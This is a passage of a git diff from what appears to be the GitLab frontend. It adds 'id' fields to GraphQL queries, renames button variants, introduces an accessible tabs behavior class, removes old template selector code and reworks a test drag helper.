workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: issue(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/issue_reference.query.graphql b/app/assets/javascripts/sidebar/queries/issue_reference.query.graphql
index db4f58a4f69..c3128d6d961 100644
--- a/app/assets/javascripts/sidebar/queries/issue_reference.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/issue_reference.query.graphql
@@ -1,5 +1,6 @@
query issueReference($fullPath: ID!, $iid: String) {
workspace: project(fullPath: $fullPath) {
+ id
__typename
issuable: issue(iid: $iid) {
__typename
diff --git a/app/assets/javascripts/sidebar/queries/issue_subscribed.query.graphql b/app/assets/javascripts/sidebar/queries/issue_subscribed.query.graphql
index 7d38b5d3bd8..e2722fc86a4 100644
--- a/app/assets/javascripts/sidebar/queries/issue_subscribed.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/issue_subscribed.query.graphql
@@ -1,6 +1,7 @@
query issueSubscribed($fullPath: ID!, $iid: String) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: issue(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql b/app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql
index 7ac989b5c63..059361dd370 100644
--- a/app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql
@@ -1,6 +1,7 @@
query issueTimeTracking($fullPath: ID!, $iid: String) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: issue(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/issue_todo.query.graphql b/app/assets/javascripts/sidebar/queries/issue_todo.query.graphql
index 783d36352fe..5cd5d81c439 100644
--- a/app/assets/javascripts/sidebar/queries/issue_todo.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/issue_todo.query.graphql
@@ -1,6 +1,7 @@
query issueTodos($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: issue(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql b/app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql
index 5c0edf5acee..b0a16677cf2 100644
--- a/app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql
@@ -3,6 +3,7 @@
query mergeRequestMilestone($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: mergeRequest(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/merge_request_reference.query.graphql b/app/assets/javascripts/sidebar/queries/merge_request_reference.query.graphql
index 7979a1ccb3e..7c78f812b67 100644
--- a/app/assets/javascripts/sidebar/queries/merge_request_reference.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/merge_request_reference.query.graphql
@@ -1,6 +1,7 @@
query mergeRequestReference($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: mergeRequest(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/merge_request_subscribed.query.graphql b/app/assets/javascripts/sidebar/queries/merge_request_subscribed.query.graphql
index 3b54a2e529b..d5e27ca7b69 100644
--- a/app/assets/javascripts/sidebar/queries/merge_request_subscribed.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/merge_request_subscribed.query.graphql
@@ -1,6 +1,7 @@
query mergeRequestSubscribed($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: mergeRequest(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql b/app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql
index b1ab1bcbe87..d480ff3d5ba 100644
--- a/app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql
@@ -1,6 +1,7 @@
query mergeRequestTimeTracking($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: mergeRequest(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql b/app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql
index 93a1c9ea925..65b9ef45260 100644
--- a/app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql
@@ -1,6 +1,7 @@
query mergeRequestTodos($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: mergeRequest(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql b/app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql
index 2bc42a0b011..c7f3adc9aca 100644
--- a/app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql
@@ -3,6 +3,7 @@
query projectIssueMilestone($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: issue(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql b/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql
index a3ab1ebc872..d9eab18628d 100644
--- a/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql
@@ -3,6 +3,7 @@
query projectMilestones($fullPath: ID!, $title: String, $state: MilestoneStateEnum) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
attributes: milestones(
searchTitle: $title
state: $state
diff --git a/app/assets/javascripts/sidebar/queries/sidebarDetails.query.graphql b/app/assets/javascripts/sidebar/queries/sidebarDetails.query.graphql
index dd85eb1631b..90d1a7794ea 100644
--- a/app/assets/javascripts/sidebar/queries/sidebarDetails.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/sidebarDetails.query.graphql
@@ -1,6 +1,8 @@
query sidebarDetails($fullPath: ID!, $iid: String!) {
project(fullPath: $fullPath) {
+ id
issue(iid: $iid) {
+ id
iid
}
}
diff --git a/app/assets/javascripts/sidebar/queries/sidebarDetailsMR.query.graphql b/app/assets/javascripts/sidebar/queries/sidebarDetailsMR.query.graphql
index 02498b18832..0505f88773d 100644
--- a/app/assets/javascripts/sidebar/queries/sidebarDetailsMR.query.graphql
+++ b/app/assets/javascripts/sidebar/queries/sidebarDetailsMR.query.graphql
@@ -1,6 +1,8 @@
query mergeRequestSidebarDetails($fullPath: ID!, $iid: String!) {
project(fullPath: $fullPath) {
+ id
mergeRequest(iid: $iid) {
+ id
iid # currently unused.
}
}
diff --git a/app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql b/app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql
index 2e6bc8c36ba..809cb2c9f76 100644
--- a/app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql
+++ b/app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql
@@ -1,6 +1,7 @@
mutation updateEpicTitle($input: UpdateEpicInput!) {
updateIssuableTitle: updateEpic(input: $input) {
epic {
+ id
title
}
errors
diff --git a/app/assets/javascripts/sidebar/queries/update_merge_request_labels.mutation.graphql b/app/assets/javascripts/sidebar/queries/update_merge_request_labels.mutation.graphql
index 016c31ea096..a48c9e96fc2 100644
--- a/app/assets/javascripts/sidebar/queries/update_merge_request_labels.mutation.graphql
+++ b/app/assets/javascripts/sidebar/queries/update_merge_request_labels.mutation.graphql
@@ -1,7 +1,7 @@
mutation mergeRequestSetLabels($input: MergeRequestSetLabelsInput!) {
- mergeRequestSetLabels(input: $input) {
+ updateIssuableLabels: mergeRequestSetLabels(input: $input) {
errors
- mergeRequest {
+ issuable: mergeRequest {
id
labels {
nodes {
diff --git a/app/assets/javascripts/sidebar/sidebar_mediator.js b/app/assets/javascripts/sidebar/sidebar_mediator.js
index 86580744ccc..a49ddac8c89 100644
--- a/app/assets/javascripts/sidebar/sidebar_mediator.js
+++ b/app/assets/javascripts/sidebar/sidebar_mediator.js
@@ -79,6 +79,20 @@ export default class SidebarMediator {
}),
);
} else {
+ const currentUserId = gon.current_user_id;
+
+ if (currentUserId !== user.id) {
+ const currentUserReviewerOrAssignee = isReviewer
+ ? this.store.findReviewer({ id: currentUserId })
+ : this.store.findAssignee({ id: currentUserId });
+
+ if (currentUserReviewerOrAssignee?.attention_requested) {
+ // Update current users attention_requested state
+ this.store.updateReviewer(currentUserId, 'attention_requested');
+ this.store.updateAssignee(currentUserId, 'attention_requested');
+ }
+ }
+
toast(sprintf(__('Requested attention from @%{username}'), { username: user.username }));
}
diff --git a/app/assets/javascripts/snippets/components/edit.vue b/app/assets/javascripts/snippets/components/edit.vue
index f07fb9d926a..e3aa29d5f89 100644
--- a/app/assets/javascripts/snippets/components/edit.vue
+++ b/app/assets/javascripts/snippets/components/edit.vue
@@ -230,7 +230,7 @@ export default {
<gl-button
category="primary"
type="submit"
- variant="success"
+ variant="confirm"
:disabled="updatePrevented"
data-qa-selector="submit_button"
data-testid="snippet-submit-btn"
diff --git a/app/assets/javascripts/snippets/components/snippet_blob_view.vue b/app/assets/javascripts/snippets/components/snippet_blob_view.vue
index 8481ac2b9c9..86cbc2c31b3 100644
--- a/app/assets/javascripts/snippets/components/snippet_blob_view.vue
+++ b/app/assets/javascripts/snippets/components/snippet_blob_view.vue
@@ -90,7 +90,7 @@ export default {
};
</script>
<template>
- <article class="file-holder snippet-file-content">
+ <figure class="file-holder snippet-file-content" :aria-label="__('Code snippet')">
<blob-header
:blob="blob"
:active-viewer-type="viewer.type"
@@ -105,5 +105,5 @@ export default {
@[$options.BLOB_RENDER_EVENT_LOAD]="forceQuery"
@[$options.BLOB_RENDER_EVENT_SHOW_SOURCE]="switchViewer"
/>
- </article>
+ </figure>
</template>
diff --git a/app/assets/javascripts/snippets/components/snippet_header.vue b/app/assets/javascripts/snippets/components/snippet_header.vue
index a5c98a7ad90..9b24c8afe37 100644
--- a/app/assets/javascripts/snippets/components/snippet_header.vue
+++ b/app/assets/javascripts/snippets/components/snippet_header.vue
@@ -113,7 +113,7 @@ export default {
href: this.snippet.project
? joinPaths(this.snippet.project.webUrl, '-/snippets/new')
: joinPaths('/', gon.relative_url_root, '/-/snippets/new'),
- variant: 'success',
+ variant: 'confirm',
category: 'secondary',
},
{
diff --git a/app/assets/javascripts/snippets/fragments/project.fragment.graphql b/app/assets/javascripts/snippets/fragments/project.fragment.graphql
deleted file mode 100644
index 64bb2315c1b..00000000000
--- a/app/assets/javascripts/snippets/fragments/project.fragment.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-fragment SnippetProject on Snippet {
- project {
- fullPath
- webUrl
- }
-}
diff --git a/app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql b/app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql
index f688868d1b9..8640c4725f4 100644
--- a/app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql
+++ b/app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql
@@ -2,6 +2,7 @@ mutation CreateSnippet($input: CreateSnippetInput!) {
createSnippet(input: $input) {
errors
snippet {
+ id
webUrl
}
}
diff --git a/app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql b/app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql
index 548725f7357..99242c5d500 100644
--- a/app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql
+++ b/app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql
@@ -2,6 +2,7 @@ mutation UpdateSnippet($input: UpdateSnippetInput!) {
updateSnippet(input: $input) {
errors
snippet {
+ id
webUrl
}
}
diff --git a/app/assets/javascripts/static_site_editor/graphql/queries/source_content.query.graphql b/app/assets/javascripts/static_site_editor/graphql/queries/source_content.query.graphql
index cfe30c601ed..c8c4195e1cd 100644
--- a/app/assets/javascripts/static_site_editor/graphql/queries/source_content.query.graphql
+++ b/app/assets/javascripts/static_site_editor/graphql/queries/source_content.query.graphql
@@ -1,5 +1,6 @@
query sourceContent($project: ID!, $sourcePath: String!) {
project(fullPath: $project) {
+ id
fullPath
file(path: $sourcePath) @client {
title
diff --git a/app/assets/javascripts/tabs/constants.js b/app/assets/javascripts/tabs/constants.js
new file mode 100644
index 00000000000..3b84d7394d4
--- /dev/null
+++ b/app/assets/javascripts/tabs/constants.js
@@ -0,0 +1,20 @@
+export const ACTIVE_TAB_CLASSES = Object.freeze([
+ 'active',
+ 'gl-tab-nav-item-active',
+ 'gl-tab-nav-item-active-indigo',
+]);
+
+export const ACTIVE_PANEL_CLASS = 'active';
+
+export const KEY_CODE_LEFT = 'ArrowLeft';
+export const KEY_CODE_UP = 'ArrowUp';
+export const KEY_CODE_RIGHT = 'ArrowRight';
+export const KEY_CODE_DOWN = 'ArrowDown';
+
+export const ATTR_ARIA_CONTROLS = 'aria-controls';
+export const ATTR_ARIA_LABELLEDBY = 'aria-labelledby';
+export const ATTR_ARIA_SELECTED = 'aria-selected';
+export const ATTR_ROLE = 'role';
+export const ATTR_TABINDEX = 'tabindex';
+
+export const TAB_SHOWN_EVENT = 'gl-tab-shown';
diff --git a/app/assets/javascripts/tabs/index.js b/app/assets/javascripts/tabs/index.js
new file mode 100644
index 00000000000..44937e593e0
--- /dev/null
+++ b/app/assets/javascripts/tabs/index.js
@@ -0,0 +1,239 @@
+import { uniqueId } from 'lodash';
+import {
+ ACTIVE_TAB_CLASSES,
+ ATTR_ROLE,
+ ATTR_ARIA_CONTROLS,
+ ATTR_TABINDEX,
+ ATTR_ARIA_SELECTED,
+ ATTR_ARIA_LABELLEDBY,
+ ACTIVE_PANEL_CLASS,
+ KEY_CODE_LEFT,
+ KEY_CODE_UP,
+ KEY_CODE_RIGHT,
+ KEY_CODE_DOWN,
+ TAB_SHOWN_EVENT,
+} from './constants';
+
+export { TAB_SHOWN_EVENT };
+
+/**
+ * The `GlTabsBehavior` class adds interactivity to tabs created by the `gl_tabs_nav` and
+ * `gl_tab_link_to` Rails helpers.
+ *
+ * Example using `href` references:
+ *
+ * ```haml
+ * = gl_tabs_nav({ class: 'js-my-tabs' }) do
+ * = gl_tab_link_to '#foo', item_active: true do
+ * = _('Foo')
+ * = gl_tab_link_to '#bar' do
+ * = _('Bar')
+ *
+ * .tab-content
+ * .tab-pane.active#foo
+ * .tab-pane#bar
+ * ```
+ *
+ * ```javascript
+ * import { GlTabsBehavior } from '~/tabs';
+ *
+ * const glTabs = new GlTabsBehavior(document.querySelector('.js-my-tabs'));
+ * ```
+ *
+ * Example using `aria-controls` references:
+ *
+ * ```haml
+ * = gl_tabs_nav({ class: 'js-my-tabs' }) do
+ * = gl_tab_link_to '#', item_active: true, 'aria-controls': 'foo' do
+ * = _('Foo')
+ * = gl_tab_link_to '#', 'aria-controls': 'bar' do
+ * = _('Bar')
+ *
+ * .tab-content
+ * .tab-pane.active#foo
+ * .tab-pane#bar
+ * ```
+ *
+ * ```javascript
+ * import { GlTabsBehavior } from '~/tabs';
+ *
+ * const glTabs = new GlTabsBehavior(document.querySelector('.js-my-tabs'));
+ * ```
+ *
+ * `GlTabsBehavior` can be used to replace Bootstrap tab implementations that cannot
+ * easily be rewritten in Vue.
+ *
+ * NOTE: Do *not* use `GlTabsBehavior` with markup generated by other means, as it may not
+ * work correctly.
+ *
+ * Tab panels must exist somewhere in the page for the tabs to control. Tab panels
+ * must:
+ * - be immediate children of a `.tab-content` element
+ * - have the `tab-pane` class
+ * - if the panel is active, have the `active` class
+ * - have a unique `id` attribute
+ *
+ * In order to associate tabs with panels, the tabs must reference their panel's
+ * `id` by having one of the following attributes:
+ * - `href`, e.g., `href="#the-panel-id"` (note the leading `#` in the value)
+ * - `aria-controls`, e.g., `aria-controls="the-panel-id"` (no leading `#`)
+ *
+ * Exactly one tab/panel must be active in the original markup.
+ *
+ * Call the `destroy` method on an instance to remove event listeners that were
+ * added during construction. Other DOM mutations (like ARIA attributes) are
+ * _not_ reverted.
+ */
+export class GlTabsBehavior {
+ /**
+ * Create a GlTabsBehavior instance.
+ *
+ * @param {HTMLElement} el The element created by the Rails `gl_tabs_nav` helper.
+ */
+ constructor(el) {
+ if (!el) {
+ throw new Error('Cannot instantiate GlTabsBehavior without an element');
+ }
+
+ this.destroyFns = [];
+ this.tabList = el;
+ this.tabs = this.getTabs();
+ this.activeTab = null;
+
+ this.setAccessibilityAttrs();
+ this.bindEvents();
+ }
+
+ setAccessibilityAttrs() {
+ this.tabList.setAttribute(ATTR_ROLE, 'tablist');
+ this.tabs.forEach((tab) => {
+ if (!tab.hasAttribute('id')) {
+ tab.setAttribute('id', uniqueId('gl_tab_nav__tab_'));
+ }
+
+ if (!this.activeTab && tab.classList.contains(ACTIVE_TAB_CLASSES[0])) {
+ this.activeTab = tab;
+ tab.setAttribute(ATTR_ARIA_SELECTED, 'true');
+ tab.removeAttribute(ATTR_TABINDEX);
+ } else {
+ tab.setAttribute(ATTR_ARIA_SELECTED, 'false');
+ tab.setAttribute(ATTR_TABINDEX, '-1');
+ }
+
+ tab.setAttribute(ATTR_ROLE, 'tab');
+ tab.closest('.nav-item').setAttribute(ATTR_ROLE, 'presentation');
+
+ const tabPanel = this.getPanelForTab(tab);
+ if (!tab.hasAttribute(ATTR_ARIA_CONTROLS)) {
+ tab.setAttribute(ATTR_ARIA_CONTROLS, tabPanel.id);
+ }
+
+ tabPanel.setAttribute(ATTR_ROLE, 'tabpanel');
+ tabPanel.setAttribute(ATTR_ARIA_LABELLEDBY, tab.id);
+ });
+ }
+
+ bindEvents() {
+ this.tabs.forEach((tab) => {
+ this.bindEvent(tab, 'click', (event) => {
+ event.preventDefault();
+
+ if (tab !== this.activeTab) {
+ this.activateTab(tab);
+ }
+ });
+
+ this.bindEvent(tab, 'keydown', (event) => {
+ const { code } = event;
+ if (code === KEY_CODE_UP || code === KEY_CODE_LEFT) {
+ event.preventDefault();
+ this.activatePreviousTab();
+ } else if (code === KEY_CODE_DOWN || code === KEY_CODE_RIGHT) {
+ event.preventDefault();
+ this.activateNextTab();
+ }
+ });
+ });
+ }
+
+ bindEvent(el, ...args) {
+ el.addEventListener(...args);
+
+ this.destroyFns.push(() => {
+ el.removeEventListener(...args);
+ });
+ }
+
+ activatePreviousTab() {
+ const currentTabIndex = this.tabs.indexOf(this.activeTab);
+
+ if (currentTabIndex <= 0) return;
+
+ const previousTab = this.tabs[currentTabIndex - 1];
+ this.activateTab(previousTab);
+ previousTab.focus();
+ }
+
+ activateNextTab() {
+ const currentTabIndex = this.tabs.indexOf(this.activeTab);
+
+ if (currentTabIndex >= this.tabs.length - 1) return;
+
+ const nextTab = this.tabs[currentTabIndex + 1];
+ this.activateTab(nextTab);
+ nextTab.focus();
+ }
+
+ getTabs() {
+ return Array.from(this.tabList.querySelectorAll('.gl-tab-nav-item'));
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ getPanelForTab(tab) {
+ const ariaControls = tab.getAttribute(ATTR_ARIA_CONTROLS);
+
+ if (ariaControls) {
+ return document.querySelector(`#${ariaControls}`);
+ }
+
+ return document.querySelector(tab.getAttribute('href'));
+ }
+
+ activateTab(tabToActivate) {
+ // Deactivate active tab first
+ this.activeTab.setAttribute(ATTR_ARIA_SELECTED, 'false');
+ this.activeTab.setAttribute(ATTR_TABINDEX, '-1');
+ this.activeTab.classList.remove(...ACTIVE_TAB_CLASSES);
+
+ const activePanel = this.getPanelForTab(this.activeTab);
+ activePanel.classList.remove(ACTIVE_PANEL_CLASS);
+
+ // Now activate the given tab/panel
+ tabToActivate.setAttribute(ATTR_ARIA_SELECTED, 'true');
+ tabToActivate.removeAttribute(ATTR_TABINDEX);
+ tabToActivate.classList.add(...ACTIVE_TAB_CLASSES);
+
+ const tabPanel = this.getPanelForTab(tabToActivate);
+ tabPanel.classList.add(ACTIVE_PANEL_CLASS);
+
+ this.activeTab = tabToActivate;
+
+ this.dispatchTabShown(tabToActivate, tabPanel);
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ dispatchTabShown(tab, activeTabPanel) {
+ const event = new CustomEvent(TAB_SHOWN_EVENT, {
+ bubbles: true,
+ detail: {
+ activeTabPanel,
+ },
+ });
+
+ tab.dispatchEvent(event);
+ }
+
+ destroy() {
+ this.destroyFns.forEach((destroy) => destroy());
+ }
+}
diff --git a/app/assets/javascripts/templates/issuable_template_selector.js b/app/assets/javascripts/templates/issuable_template_selector.js
deleted file mode 100644
index 1bb5e214c2e..00000000000
--- a/app/assets/javascripts/templates/issuable_template_selector.js
+++ /dev/null
@@ -1,115 +0,0 @@
-/* eslint-disable no-useless-return */
-
-import $ from 'jquery';
-import { __ } from '~/locale';
-import Api from '../api';
-import TemplateSelector from '../blob/template_selector';
-
-export default class IssuableTemplateSelector extends TemplateSelector {
- constructor(...args) {
- super(...args);
-
- this.projectId = this.dropdown.data('projectId');
- this.issuableType = this.$dropdownContainer.data('issuableType');
- this.titleInput = $(`#${this.issuableType}_title`);
- this.templateWarningEl = $('.js-issuable-template-warning');
- this.warnTemplateOverride = args[0].warnTemplateOverride;
-
- const initialQuery = {
- name: this.dropdown.data('selected'),
- };
-
- if (initialQuery.name) this.requestFile(initialQuery);
-
- $('.reset-template', this.dropdown.parent()).on('click', () => {
- this.setInputValueToTemplateContent();
- });
-
- $('.no-template', this.dropdown.parent()).on('click', () => {
- this.reset();
- });
-
- this.templateWarningEl.find('.js-close-btn').on('click', () => {
- // Explicitly check against 0 value
- if (this.previousSelectedIndex !== undefined) {
- this.dropdown.data('deprecatedJQueryDropdown').selectRowAtIndex(this.previousSelectedIndex);
- } else {
- this.reset();
- }
-
- this.templateWarningEl.addClass('hidden');
- });
-
- this.templateWarningEl.find('.js-override-template').on('click', () => {
- this.requestFile(this.overridingTemplate);
- this.setSelectedIndex();
-
- this.templateWarningEl.addClass('hidden');
- this.overridingTemplate = null;
- });
- }
-
- reset() {
- if (this.currentTemplate) {
- this.currentTemplate.content = '';
- }
-
- this.setInputValueToTemplateContent();
- $('.dropdown-toggle-text', this.dropdown).text(__('Choose a template'));
- this.previousSelectedIndex = null;
- }
-
- setSelectedIndex() {
- this.previousSelectedIndex = this.dropdown.data('deprecatedJQueryDropdown').selectedIndex;
- }
-
- onDropdownClicked(query) {
- const content = this.getEditorContent();
- const isContentUnchanged =
- content === '' || (this.currentTemplate && content === this.currentTemplate.content);
-
- if (!this.warnTemplateOverride || isContentUnchanged) {
- super.onDropdownClicked(query);
- this.setSelectedIndex();
-
- return;
- }
-
- this.overridingTemplate = query.selectedObj;
- this.templateWarningEl.removeClass('hidden');
- }
-
- requestFile(query) {
- const callback = (currentTemplate) => {
- this.currentTemplate = currentTemplate;
- this.stopLoadingSpinner();
- this.setInputValueToTemplateContent();
- };
-
- this.startLoadingSpinner();
-
- Api.projectTemplate(
- this.projectId,
- this.issuableType,
- query.name,
- { source_template_project_id: query.project_id },
- callback,
- );
- }
-
- setInputValueToTemplateContent() {
- // `this.setEditorContent` sets the value of the description input field
- // to the content of the template selected.
- if (this.titleInput.val() === '') {
- // If the title has not yet been set, focus the title input and
- // skip focusing the description input by setting `true` as the
- // `skipFocus` option to `setEditorContent`.
- this.setEditorContent(this.currentTemplate, { skipFocus: true });
- this.titleInput.focus();
- } else {
- this.setEditorContent(this.currentTemplate, { skipFocus: false });
- }
-
- return;
- }
-}
diff --git a/app/assets/javascripts/templates/issuable_template_selectors.js b/app/assets/javascripts/templates/issuable_template_selectors.js
deleted file mode 100644
index 443b3084113..00000000000
--- a/app/assets/javascripts/templates/issuable_template_selectors.js
+++ /dev/null
@@ -1,31 +0,0 @@
-/* eslint-disable no-new, class-methods-use-this */
-
-import $ from 'jquery';
-import IssuableTemplateSelector from './issuable_template_selector';
-
-export default class IssuableTemplateSelectors {
- constructor({ $dropdowns, editor, warnTemplateOverride } = {}) {
- this.$dropdowns = $dropdowns || $('.js-issuable-selector');
- this.editor = editor || this.initEditor();
-
- this.$dropdowns.each((i, dropdown) => {
- const $dropdown = $(dropdown);
- new IssuableTemplateSelector({
- pattern: /(\.md)/,
- data: $dropdown.data('data'),
- wrapper: $dropdown.closest('.js-issuable-selector-wrap'),
- dropdown: $dropdown,
- editor: this.editor,
- warnTemplateOverride,
- });
- });
- }
-
- initEditor() {
- const editor = $('.markdown-area');
- // Proxy ace-editor's .setValue to jQuery's .val
- editor.setValue = editor.val;
- editor.getValue = editor.val;
- return editor;
- }
-}
diff --git a/app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql b/app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql
index 70ba5c960be..bb1e7195b17 100644
--- a/app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql
+++ b/app/assets/javascripts/terraform/graphql/fragments/state_version.fragment.graphql
@@ -1,23 +1,23 @@
#import "~/graphql_shared/fragments/user.fragment.graphql"
fragment StateVersion on TerraformStateVersion {
+ id
downloadPath
serial
updatedAt
-
createdByUser {
...User
}
-
job {
+ id
detailedStatus {
+ id
detailsPath
group
icon
label
text
}
-
pipeline {
id
path
diff --git a/app/assets/javascripts/terraform/graphql/queries/get_states.query.graphql b/app/assets/javascripts/terraform/graphql/queries/get_states.query.graphql
index 9453e32b1b5..4d26ea88ddf 100644
--- a/app/assets/javascripts/terraform/graphql/queries/get_states.query.graphql
+++ b/app/assets/javascripts/terraform/graphql/queries/get_states.query.graphql
@@ -3,13 +3,12 @@
query getStates($projectPath: ID!, $first: Int, $last: Int, $before: String, $after: String) {
project(fullPath: $projectPath) {
+ id
terraformStates(first: $first, last: $last, before: $before, after: $after) {
count
-
nodes {
...State
}
-
pageInfo {
...PageInfo
}
diff --git a/app/assets/javascripts/test_utils/simulate_drag.js b/app/assets/javascripts/test_utils/simulate_drag.js
index 321315d531b..4f3f1365f4a 100644
--- a/app/assets/javascripts/test_utils/simulate_drag.js
+++ b/app/assets/javascripts/test_utils/simulate_drag.js
@@ -122,7 +122,6 @@ export default function simulateDrag(options) {
const firstRect = getRect(firstEl);
const lastRect = getRect(lastEl);
- const startTime = new Date().getTime();
const duration = options.duration || 1000;
simulateEvent(fromEl, 'pointerdown', {
@@ -140,8 +139,28 @@ export default function simulateDrag(options) {
toRect.cy = lastRect.y + lastRect.h + 50;
}
- const dragInterval = setInterval(() => {
- const progress = (new Date().getTime() - startTime) / duration;
+ let startTime;
+
+ // Called within dragFn when the drag should finish
+ const finishFn = () => {
+ if (options.ondragend) options.ondragend();
+
+ if (options.performDrop) {
+ simulateEvent(toEl, 'mouseup');
+ }
+
+ window.SIMULATE_DRAG_ACTIVE = 0;
+ };
+
+ const dragFn = (timestamp) => {
+ if (!startTime) {
+ startTime = timestamp;
+ }
+
+ const elapsed = timestamp - startTime;
+
+ // Make sure that progress maxes at 1
+ const progress = Math.min(elapsed / duration, 1);
const x = fromRect.cx + (toRect.cx - fromRect.cx) * progress;
const y = fromRect.cy + (toRect.cy - fromRect.cy + options.extraHeight) * progress;
const overEl = fromEl.ownerDocument.elementFromPoint(x, y);
@@ -152,16 +171,15 @@ export default function simulateDrag(options) {
});
if (progress >= 1) {
- if (options.ondragend) options.ondragend();
-
- if (options.performDrop) {
- simulateEvent(toEl, 'mouseup');
- }
-
- clearInterval(dragInterval);
- window.SIMULATE_DRAG_ACTIVE = 0;
+ // finish on next frame, so we can pause in the correct position for a frame
+ requestAnimationFrame(finishFn);
+ } else {
+ requestAnimationFrame(dragFn);
}
- }, 100);
+ };
+
+ // Start the drag animation
+ requestAnimationFrame(dragFn);
return {
target: fromEl,
diff --git a/app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql b/app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql
index d4f559c3701..0e5334b468f 100644
--- a/app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql
+++ b/app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql
@@ -1,5 +1,6 @@
query getCIJobTokenScope($fullPath: ID!) {
project(fullPath: $fullPath) {
+ id
ciCdSettings {
jobTokenScopeEnabled
}
diff --git a/app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql b/app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql
index bec0710a1dd..664991bc110 100644
--- a/app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql
+++ b/app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql
@@ -1,8 +1,10 @@
query getProjectsWithCIJobTokenScope($fullPath: ID!) {
project(fullPath: $fullPath) {
+ id
ciJobTokenScope {
projects {
nodes {
+ id
name
fullPath
}
diff --git a/app/assets/javascripts/ui_development_kit.js b/app/assets/javascripts/ui_development_kit.js
deleted file mode 100644
index 1a3fd6c77ed..00000000000
--- a/app/assets/javascripts/ui_development_kit.js
+++ /dev/null
@@ -1,28 +0,0 @@
-import $ from 'jquery';
-import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import Api from './api';
-
-export default () => {
- initDeprecatedJQueryDropdown($('#js-project-dropdown'), {
- data: (term, callback) => {
- Api.projects(
- term,
- {
- order_by: 'last_activity_at',
- },
- (data) => {
- callback(data);
- },
- );
- },
- text: (project) => project.name_with_namespace || project.name,
- selectable: true,
- fieldName: 'author_id',
- filterable: true,
- search: {
- fields: ['name_with_namespace'],
- },
- id: (data) => data.id,
- isSelected: (data) => data.id === 2,
- });
-};
